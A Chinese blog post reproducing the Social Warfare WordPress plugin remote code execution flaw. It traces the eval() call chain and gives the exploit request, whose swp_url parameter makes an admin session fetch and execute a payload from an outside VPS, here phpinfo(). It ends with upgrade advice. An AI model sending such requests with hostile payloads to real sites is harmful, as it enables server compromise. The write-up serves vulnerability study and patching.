zoukankan      html  css  js  c++  java
  • WordPress Social Warfare组件 远程代码漏洞执行详细复现

    0x00前言

    今天在知道创宇上发现3月26日提交WordPress XSS和远程代码执行漏洞,于是试着复现了下远程代码执行漏洞

    该漏洞源于Social Warfare组件,并且版本<=3.5.2、且要是管理员登录状态,因此该漏洞是个后台代码执行

    漏洞报告https://www.webarxsecurity.com/social-warfare-vulnerability/

    利用需一台能够被访问的vps

    0x01环境搭建

    我是采用的windows下的phpstudy,php版本为5.4

    WordPress版本是最新版本https://wordpress.org/download/

    Social Warfare版本是3.5.1(官方已经更新到了3.5.4)https://downloads.wordpress.org/plugin/social-warfare.3.5.1.zip

    下载下来分别解压后,把social-warfare放在wordpresswp-contentplugins目录下

    图片.png

    安装好WordPress后,把social-warfare组件起用(点Activate后,会变成Settings,并在左侧目录下出现Social Warfare子目录)

    图片.png

    0x02 漏洞分析

    浏览报告的时候,明确是wordpresswp-contentpluginssocial-warfarelibutilitiesSWP_Database_Migration.php中的debug_parameters()调用了eval(),并未对options进行明显过滤

    首先下在eval处个断点

    图片.png

    找到$array传入前$options的地方下个断点

    图片.png

    往回找到调用了debug_parameters()的地方wordpresswp-contentpluginssocial-warfarelibutilitiesSWP_Database_Migration.php中的init()方法,该方法又被__construct()调用

    图片.png

    继续寻找调用的SWP_Database_Migration类的wordpresswp-contentpluginssocial-warfarelibutilitiesSocial_Warfare.php中的Social_Warfare类的instantiate_classes()方法的202行初始化了SWP_Database_Migration()类

    图片.png

    instantiate_classes()方法又被Social_Warfare类的初始init()方法调用,并init()被该类的__construct()调用

    图片.png

    最后Social_Warfare类被wordpresswp-contentpluginssocial-warfaresocial-warfare.php调用

    图片.png

    在后台添加过Social Warfare组件后,wordpress在访问时,大部分都会包含这个social-warfare.php文件,因此逐步跟进下寻找到触发漏洞利用点eval()参数

    在wordpresswp-contentpluginssocial-warfarelibutilitiesSWP_Database_Migration.php处有个判定

    图片.png

    跟进一下SWP_Utility:debug这个方法,要求GET参数中要有swp_debug参数,并值要和$key相同,而$key也就是传入的'load_options'

    图片.png

    之后会判断是否是管理员,如果不是就会退出,所以需要在后台管理员状态登录,我测试了下在首页不能过这个点

    图片.png

    这里我是在/wp-admin/目录下进行的debug调试操作,进行运行,到了漏洞参数传入的地方,因为file_get_contents是能够远程加载文件的,并且文件路径可控,因为把payload以txt文件格式传到自己的vps上即可

    图片.png

    剪切远程加载的代码逻辑如下,<pre>xxxxx</pre>会去掉<pre>和</pre>,如果不包含这2个标签会返回false

    0x03漏洞复现

    在远程的vps上payload如下

    <pre>phpinfo()</pre>

    图片.png

    最后的请求的url头如下

    http://127.0.0.1/wordpress/wp-admin/admin.php?page=social-warfare&swp_debug=load_options&swp_url=http://vpsi/wordpress_social_warfare_payload.txt

    本地测试成功返回了phpinfo信息

    图片.png

    0x04 修复建议

    因为该漏洞利用成功版本在Social Warfare<=3.5.2,所有更新到3.5.3及以上即可避免

    ps:文章投稿给freebuf还在待审核.................

  • 相关阅读:
    (转)堆与堆排序
    Cantor的数表
    Sticks(poj 1011)
    Square(hdu 1511)
    Fire Net(hdu 1045)
    Lake Counting(poj 2386)
    Ants (POJ 1852)
    A + B Problem II 大数加法
    深入理解计算机系统第二版家庭作业2.66
    C++ 队列queque/deque
  • 原文地址:https://www.cnblogs.com/sijidou/p/10661515.html
Copyright © 2011-2022 走看看